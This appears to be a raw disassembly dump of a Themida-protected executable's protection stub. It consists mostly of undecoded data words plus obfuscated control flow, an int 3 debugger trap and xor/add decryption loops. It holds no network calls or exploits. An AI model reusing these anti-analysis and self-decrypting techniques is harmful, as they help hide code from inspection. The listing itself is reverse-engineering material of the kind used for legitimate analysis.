4EF80CD2h, 109DBD0Bh, 0E95B0612h, 3Fh, 23498D8Bh, 8D890612h dd 6121D69h, 0F01E183h, 2A84h, 7E900h, 15500000h, 0D1BE308Ah dd 49A58319h, 0FE061223h, 158DB509h, 95890612h, 6121E2Dh dd 8F1BD29h, 0E90612h, 8D000000h, 15F702B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0ACA8A110h, 277DBD8Bh, 6A0612h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0FFC35545h, 0C1DF8001h, 29D195FFh dd 7AB30612h, 8F1B9h, 0FCE18300h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0D4C35646h, 95FDA398h, 2635BD8Bh dd 0F8FC0612h, 0D22BC02Bh, 0B59D09h, 10B30612h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 888ACF81h, 6A6DDDh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D2BA18C3h dd 0BB139C53h, 5B70E4E4h, 880Dh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4DE6C418h dd 0C1EB8036h, 958B4725h, 6122DCDh, 0DE8h, 2717EC00h, 0F8B42962h dd 0D3B952A6h, 8B5F5D62h, 1231BD8Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 52BD513Ch dd 8B50F9FEh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8FC35343h dd 27D83014h, 4E04335Dh, 59F380B0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 49C35343h, 1024C83Dh, 0BF0755FCh dd 0D8B70FE9h, 6860Fh, 66500000h, 5BAA76BFh, 1419BD83h dd 0F000612h, 6F84h, 5E800h, 0B2E30000h, 0BB8205CEh, 9596FC1h dd 0B85Bh, 0D88B0000h, 4E4B8D8Dh, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 76575DC3h dd 0DBDBB92h, 0E1FF4265h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 21C35343h, 6E03D5D9h, 1B52941h, 6606122Ah dd 460EDF81h, 11BD83h, 0F000612h, 49E84h, 59F78100h, 8315A1F0h dd 120011BDh, 840F0106h, 4A6h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0D5C35646h, 8B2EA8A3h, 120B519Dh dd 28B0F06h, 8B000000h, 11BD83D8h, 3061200h, 436860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 553BE8C3h, 8BF18B60h, 120B2595h, 9D8B6106h dd 6122711h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0BA968ACBh, 8B532820h, 12214DBDh dd 8C66F906h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0E4914A1Dh, 21F99D09h, 0E1800612h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 1002EE54h, 781BC8EAh, 0AFB8B85h, 0F840FC9h dd 0BF000001h, 2F1EBA7h, 24CD858Bh, 0BD8B0612h, 6123241h dd 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 9AE530C3h, 977946CAh, 901507DBh dd 6E9h, 0E4D8D700h, 5078EE2Ah, 8190DA8Bh, 5288BBC3h, 0F1DF8127h dd 6A0970A9h, 0ED68F900h, 0E8232267h, 0Ah, 0B6AE793Fh dd 0E05C2BF2h, 10E9D8F4h, 9A000000h, 2A8202E0h, 0A4C0589Ch dd 0F572797Bh, 5F5491DAh, 12243481h, 0F233D64h, 1989h dd 14E900h, 0EDD60000h, 0B47740A3h, 0F2C0167Eh, 0E29208C5h dd 0BA2EE2B5h, 95FF5088h, 6123031h, 0B1B52960h, 6106121Ch dd 0BD0C8589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0D24101C3h, 0BE322908h, 0E9CDA0E3h dd 1EEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 69C35242h, 0CCDC2D2Bh, 23B35497h, 858BF8F8h, 615BD04h dd 1800C7h, 9D890000h, 612238Dh, 0BD08B58Bh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 8B9C2BC3h, 2D2DA2EBh, 0DAD5E381h, 13E96718h, 0C8000000h dd 24F8523Fh, 3BF74600h, 0B68F13BAh, 46AA7FE1h, 858BC259h dd 6122399h, 12E860h, 5AC70000h, 29E6689Ch, 0FA1ABA90h dd 0FF1CE034h, 83B1F70Ch, 5BDAB70Fh, 0DE9h, 20F9E600h dd 3A095FF1h, 9B86277Bh, 8961477Ch, 0C860F06h, 0F000000h dd 68Dh, 2D9D8B00h, 8B061200h, 1224CD85h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 527A099Fh, 50C52A25h, 2999D01h, 895B0612h, 6A0446h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 6591CDC3h, 2E28B5B0h, 0CD0BF66h, 0CF4BB96h, 96507CA5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FAC35343h dd 6890F60h, 89000000h, 121DF985h, 0B5FF6106h, 615BD04h dd 0CE8h, 16264200h, 6C73F678h, 0DE6625E6h, 5BFD8A7Ah dd 4E8h, 1F03FF00h, 7EBB6600h, 0BF665066h, 448BBFD9h, 8B0424h dd 6412BCBBh, 24448924h, 6A5804h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 5D764C3h, 73E3BFC1h dd 859589ABh, 8D06121Eh, 15BD0C85h, 5075B706h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 29E5C355h, 122DA995h, 3195FF06h, 80061230h dd 6A61DBC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0C8C2C352h, 8E99463h, 3B000000h dd 6EB95786h, 0C7326C5Fh, 12001185h, 306h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 8643DE21h, 87A6D7AFh, 0B58B60A4h, 6121E05h, 0CBD8361h dd 615BDh, 3E840Fh, 0BD8B0000h, 6123099h, 4EE9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 4F30E161h, 958B60F4h, 61215EDh, 23BDB58Bh, 66610612h dd 3EE5CB81h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0BBCBC357h, 0D63B535Fh, 868F6331h dd 19C59D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 4BD645C3h, 25E1B589h, 0BD830612h dd 6120011h, 3A850F03h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FEAC353h dd 9589D484h, 6121371h, 0BD0CBD83h, 0F000615h, 40884h dd 11E900h, 80770000h, 998FFC62h, 90989B62h, 8FE5BFB3h dd 0FF6732E8h, 15BD0CB5h, 0C3816606h, 95FF46FEh, 6122029h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FBC35545h dd 0BD036082h, 6121451h, 0DE9h, 0DFB7C900h, 0EFB6954Dh dd 30E2EF9Ch, 8B61A746h, 121AF59Dh, 0B58B06h, 0C70615BDh dd 1000106h, 89958900h, 9606121Bh, 4ABB66h, 0BF665750h dd 965F52E2h, 6CF3DBBh, 0CB5FF48h, 660615BDh, 0A396EF81h dd 1AE195FFh, 13E80612h, 4E000000h, 119566EAh, 1A391AD3h dd 1173B1C7h, 0AF7DFA1h, 9D33D6CBh, 61223C5h, 759D8B5Fh dd 8B061202h, 15BD00B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 8195890Dh, 8B06120Ch dd 12303985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B66511Bh, 0C4C6BFD9h, 86897642h dd 0C4h, 0D7CF8166h, 0CD958BC4h, 8906122Dh, 122FC5B5h dd 4C28306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 14C35545h, 0B00EFDD2h, 3447824h, 1214619Dh, 0AE906h dd 67BF0000h, 0D912563h, 200000Eh, 6A205089h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0BA74C357h, 4D0888BFh, 6D9D8B71h, 8D06122Dh, 15D0EA85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0B874C138h, 19BD290Fh dd 89061227h, 0B886h, 0C8B0F00h, 0E9000000h, 7, 0D60AD89Dh dd 6AE2EAA2h, 0B5FFFC00h, 615BD0Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 18C35242h, 0BC9F0F89h, 95FF3273h dd 6122CD5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 4FC35545h, 438F46C8h, 9D8BCDC1h, 61226CDh, 3055BD89h dd 0BB960612h, 61C1D8BCh, 9E850h, 17F60000h, 0C0B43181h dd 0BB731960h, 65FEAABEh, 6A965Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 72FDAEC3h, 9D8930B1h dd 61228E5h, 0BD0CB5FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 4F3B0AC3h, 3ED7CC9h dd 120F159Dh, 2995FF06h, 8906122Eh, 1215E5BDh, 89BD8306h dd 61211h, 32840Fh, 0F98B0000h, 79BB6696h, 0BF665041h dd 6A9614C0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0E51FC353h, 0F928F2Fh, 411DECAEh dd 0BD0CB5FFh, 8D890615h, 6122685h, 2AA595FFh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BD6D83C3h, 324C73D6h, 668B5FA3h, 0FF7E5BBh, 386h, 0FABF0F00h dd 0BD0CB5FFh, 84BB0615h, 570DD0B4h, 0EDDB589h, 0FF5B0612h dd 121BB195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0A3E6C2A9h, 77A139F3h, 83F90DDFh dd 122A41BDh, 840F0206h, 5Fh, 60D28060h, 3E59D8Bh, 8B610612h dd 1218A985h, 1E8A0F06h, 0E8000000h, 12h, 0ED62431Ah, 0C39C23B7h dd 0AD23D6ADh, 9A542036h, 8D89E243h, 61231EDh, 0C65Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 79C35343h dd 56E24DDAh, 668B0B3Bh, 0C75759BBh, 12030185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 9E822E7Ah, 0C4C75C7h, 0F2FCE9F8h, 8529FFFFh, 6120029h dd 8D31C18Bh, 6122C89h, 65858Dh, 6A0612h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 5E885C3h dd 0BA000000h, 0E034FA1Ah, 0B92915BFh, 0F505B5Ch, 1087h dd 0BE900h, 0BD0D0000h, 0CEAF47B6h, 0B6773258h, 24048919h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CC35242h dd 0BCF381DDh, 8B208103h, 1207BDBDh, 0F006A06h, 6AFFB7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 18C35242h dd 7D42EC05h, 0FE9h, 73E43F00h, 0C509705Ah, 2056195Dh dd 0A0C361B4h, 7751858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 163F6CC3h, 12E997D7h dd 41000000h, 24A33116h, 7A88948Dh, 2D466CBh, 4216E0EEh dd 91BD8B0Fh, 83061210h, 0BE805C0h, 38000000h, 5BD92F9Fh dd 3340FF40h, 95895C19h, 6122831h, 0BB66505Bh, 489FFDFh dd 619D8B24h, 306121Dh, 122E9D9Dh, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0B651C351h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 89CC0EC3h, 5D6B2A6Bh, 19890FAFh dd 0E8000000h, 13h, 58952760h, 96C05AE3h, 50DE9CB0h, 887D86B1h dd 5B3149CDh, 0B5595FFh, 8E90612h, 52000000h, 28448C54h dd 8DC2A3E7h, 159BCA8Dh, 9D316006h, 6120309h, 2D8DB58Bh dd 0FF610612h, 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 134C6230h, 0EF816679h dd 0BD832476h, 6120EE9h, 0E0850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 30A0C352h, 43A2D974h, 60D4532Ah, 2F458589h, 858B0612h dd 6120B2Dh, 1870F61h, 0F5000000h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 812326C3h dd 0D65D26E7h, 0FE8B5040h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0E0B6C350h dd 0E8E4738Eh, 12h, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh dd 9D8B69E2h, 61200A5h, 6E95Fh, 811F0000h, 8FEA4169h, 12E9h dd 3BA72F00h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch, 0FFE26888h dd 122CD595h, 11E906h, 0A5380000h, 8A7A110Ah, 3A6CC78Fh dd 7F52E440h, 0E9B7E095h, 0D93h, 0E8h, 0ED815D00h, 616775Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E9C35242h dd 0C212715Fh, 0F7816601h, 6A4747h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C02A3EC3h dd 0A0F966C6h, 0BD8B4B03h, 6122EFDh, 968F858Dh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 65EE01C3h, 3591FD87h, 0F319D29h, 66500612h, 489DF8Bh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 8AE17BECh, 0DE831E44h, 8E84Dh, 0EF210000h dd 0CCE1E511h, 9D8B9D6Ah, 61218C5h, 35FF645Fh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C330B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C330B proc near ; CODE XREF: Themida_:005C3303p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C330B endp ; --------------------------------------------------------------------------- cmp al, 0C0h cwde mov edi, 53D65D30h ror byte ptr [ecx], 66h mov edi, 8964FBABh and eax, 0 mov bl, 5Fh inc dword ptr [ebp+6121235h] push 0 push ebp call sub_5C3343 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3343 proc near ; CODE XREF: Themida_:005C333Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C3343 endp ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- popf or al, 8Dh mov [edi], gs int 3 ; Trap to Debugger mov ebx, edi push 0FFFFFFFFh jmp loc_5C336D ; --------------------------------------------------------------------------- db 0DFh dd 0D83D59ABh, 12A469AAh ; --------------------------------------------------------------------------- push edi loc_5C336D: ; CODE XREF: Themida_:005C335Ej push dword ptr [ebp+6120C89h] push 0 push ebx call sub_5C337E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C337E proc near ; CODE XREF: Themida_:005C3376p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5C337E endp ; --------------------------------------------------------------------------- dw 0F3E8h dd 0F381666Ch, 0BB663D3Ah, 0BF0F4BBDh, 7595FFDEh, 0E9061214h dd 106h, 3890Fh, 0BF0F0000h, 8B00B0DAh, 1214799Dh, 6670E606h dd 0E40850BFh, 9D9D8971h, 3C061223h, 0DF830F61h, 8B000000h dd 121CDD9Dh, 0C59D8906h, 0F06120Eh, 0BD8BC8B6h, 612149Dh dd 6BAh, 8BDE8B00h, 0E1C5BFC1h, 0E8C167A6h, 0F99D8B04h dd 66061232h, 0BD8BE2F7h, 6122015h, 880FC82Bh, 17h, 12E9h dd 459CCD00h, 43A03940h, 7D0C6DA0h, 65BCD9C6h, 8B33B7FDh dd 0FFC60D1h, 282h, 61616000h, 0CE9h, 6810F00h, 89000000h dd 12283DBDh, 7D858B06h, 83061228h, 0C08307C0h, 8D016000h dd 6122ACDh, 13E18D29h, 3B610612h, 19830FD0h, 0BF000000h dd 3E71DD8Bh, 41E9h, 0AE900h, 0EA9A0000h, 0C0419F8Ah, 30954F37h dd 2ED98D8Bh, 0E1830612h, 23840F01h, 57000000h, 0B399501h dd 835F0612h, 122ED9A5h, 8B66FE06h, 7D9589D8h, 31061228h dd 120B6195h, 0E906h, 0B58D0000h, 6160251h, 4D78166h, 31006AC4h dd 122CBD95h, 95BD8B06h, 0FF06122Ah, 1229D195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 23F3CDBAh, 692CD4B8h, 6E9B706h, 5F000000h, 2C63A019h dd 7CEB9CEh, 8B660000h, 0FCE183F8h, 0EDB589h, 80FC0612h dd 0B8A0CFh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 9825C356h, 0BACC00EAh dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C3547 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3547 proc near ; CODE XREF: Themida_:005C353Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C3547 endp ; --------------------------------------------------------------------------- add edi, esp fidiv word ptr [eax-1C3255ACh] stc sti mov [ebp+61217D5h], eax mov ebx, [ebp+61207D5h] loc_5C356D: ; CODE XREF: Themida_:005C3577j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C356D push 0 push ecx call sub_5C3584 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3584 proc near ; CODE XREF: Themida_:005C357Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C3584 endp ; --------------------------------------------------------------------------- dd 69E46D48h, 8B60F72Eh, 1200F1BDh, 0EE806h, 0CBB60000h dd 990EEF2h, 55251F25h, 0B907AFB6h, 13319589h, 61590612h dd 0BE997B7h, 48000000h, 31DCE0F4h, 0D33F409h, 880DFD88h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 4BEDC350h, 8B6ABF72h, 12345D9Dh dd 0CD958B06h, 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 8C3C353h, 0B654AC30h dd 8D8BD98Bh, 61231BDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 9BC35040h, 8B92CE09h, 0FC12BFD8h, 8B501933h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4CC35141h, 66F5F55Bh dd 0BD83FB8Bh, 6121419h, 8B840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 446C357h, 900E1D33h, 2B09BD8Bh, 0B8FC0612h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+61217C5h] lea ecx, [ebp+6124E4Bh] push 0 push eax call sub_5C36D3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C36D3 proc near ; CODE XREF: Themida_:005C36CBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5C36D3 endp ; --------------------------------------------------------------------------- or byte ptr [ecx+12077995h], 6 jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5C36F7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C36F7 proc near ; CODE XREF: Themida_:005C36EFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx loc_5C3705: ; CODE XREF: Themida_:005C3757j push ebx retn sub_5C36F7 endp ; --------------------------------------------------------------------------- lahf popa mov ah, 0B0h push 0FFFFFF8Bh mov ebp, 6121885h push edx mov ebx, [ebp+61214EDh] pop edi cmp dword ptr [ebp+6120011h], 0 jz loc_5C3B86 mov bx, 505Eh cmp dword ptr [ebp+6120011h], 1 jz loc_5C3BA1 push 0 push eax call sub_5C3743 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3743 proc near ; CODE XREF: Themida_:005C373Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C3743 endp ; --------------------------------------------------------------------------- aaa aad 11h xchg eax, ebx loop loc_5C3705 db 2Eh sbb al, 0CDh cmp dword ptr [ebp+6120011h], 3 jbe loc_5C3B6B jnp loc_5C3775 mov edi, [ebp+6120061h] loc_5C3775: ; CODE XREF: Themida_:005C3769j pusha push 0 push esi call sub_5C3781 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3781 proc near ; CODE XREF: Themida_:005C3779p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C3781 endp ; --------------------------------------------------------------------------- db 61h, 0E4h, 6Dh ; --------------------------------------------------------------------------- enter 0FFFF8C66h, 0D9h push 0 push ebp call sub_5C37A3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C37A3 proc near ; CODE XREF: Themida_:005C379Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C37A3 endp ; --------------------------------------------------------------------------- db 42h dd 98B5205Dh, 297D9D31h, 0E1800612h, 0F5958904h, 0E806121Ah dd 11h, 70B8FF28h, 8D329E87h, 7D5C16E2h, 3B1A0516h, 6800F3Fh dd 89000000h, 12000985h, 0C90A5F06h, 13A840Fh, 840F0000h dd 6, 29B98D89h, 858B0612h, 61224CDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 7FEFAFEEh, 0DE30EAA8h dd 8D85331Ch, 81061224h, 0D789D0D7h, 0FA8B902Ch, 4810F50h dd 66000000h, 901349BFh, 0EE9h, 0EEABDE00h, 19ED44EFh dd 572F3DC6h, 6A0F9A18h, 3800F00h, 66000000h, 0AB68DE8Bh dd 0E8BA6704h, 0Eh, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h dd 8B0FAE6Bh, 3, 5BFE8B66h, 54240481h, 8B45B7FFh, 122DEDBDh dd 3195FF06h, 6A061230h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0E747C351h, 0F5462A8h dd 68Ch, 0FEEF8100h, 89737521h, 15BD0C85h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0F8D7217Bh, 12E873h, 0B7A00000h, 0B01C437Ch, 5A5DCC62h dd 21991CBAh, 0BD592B05h, 25E95FF9h, 6A000002h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0B318C353h, 0BF714E27h, 21346F73h, 0BD04858Bh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F81F01C3h, 0C7F6B3h, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 57C35646h, 14D7ED82h, 1D5EB118h dd 15BD8B8Bh, 8006121Eh, 0B58BA5C3h, 615BD08h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 51C35545h, 0FD232689h dd 0DE8BD515h, 2399858Bh, 9D010612h, 6121FF5h, 6A0689h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 2BD1C0C3h, 8BF1B1B5h, 1224CD85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9CE86986h dd 9D8BB496h, 6122755h, 6A044689h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E0E6C351h dd 8D89559Eh, 61227C5h, 502AEB80h, 6A243489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 5040C350h, 596D0723h, 25BF66DFh, 4B5FFEBh, 6A0615BDh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0FD23C355h, 0E99D8915h, 68061207h, 0C659BD6Dh dd 8B0Fh, 4810000h, 0C5469224h, 8DF98B39h, 15BD0C85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E582AA6h, 4D7100A5h, 0E1BD2307h, 50061202h, 489F98Ah dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 12E92E12h, 0FC000000h, 0ABA57B70h, 22AD77CFh dd 1CF4D400h, 90230BB3h, 3195FF14h, 6A061230h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5A6CC351h, 0E8A0F61h, 0E9000000h, 9, 44754F17h, 3D2493B3h dd 1185C7F5h, 3061200h, 89000000h, 12286DBDh, 0CBD8306h dd 615BDh, 0D840Fh, 81660000h, 0E9DA98CBh, 1Eh ; --------------------------------------------------------------------------- movsx edi, cx loc_5C3B6B: ; CODE XREF: Themida_:005C3763j ; Themida_:005C3B82j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C3B6B jmp short loc_5C3BBC ; --------------------------------------------------------------------------- loc_5C3B86: ; CODE XREF: Themida_:005C3721j ; Themida_:005C3B9Dj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C3B86 jmp short loc_5C3BBC ; --------------------------------------------------------------------------- loc_5C3BA1: ; CODE XREF: Themida_:005C3732j ; Themida_:005C3BB8j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C3BA1 jmp short $+2 loc_5C3BBC: ; CODE XREF: Themida_:005C3B84j ; Themida_:005C3B9Fj mov eax, eax mov [ebp+6120885h], eax push 0 push ebx call sub_5C3BCF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3BCF proc near ; CODE XREF: Themida_:005C3BC7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C3BCF endp ; --------------------------------------------------------------------------- db 0FFh dd 0ECBFE44Bh, 0B9B7D35Ch, 6E88Eh, 4A520000h, 855D9970h dd 11BD835Fh, 3061200h, 3AE850Fh, 800F0000h, 0Ch, 6840Fh dd 9D8B0000h, 6121BA9h, 0BD0CBD83h, 0F000615h, 38F84h dd 0B5FFF500h, 615BD0Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 16C35747h, 352B51E2h, 202995FFh, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B58BC5C3h, 615BD00h, 6C7F88Bh, 10001h, 0AE8h, 48D4B400h dd 0DDF7A882h, 89311894h, 12143D9Dh, 50965F06h, 0EBB3BF66h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0CB5FF7Fh, 6A0615BDh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 7C4FC357h dd 0E19D8B3Bh, 0FF06122Ah, 121AE195h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h 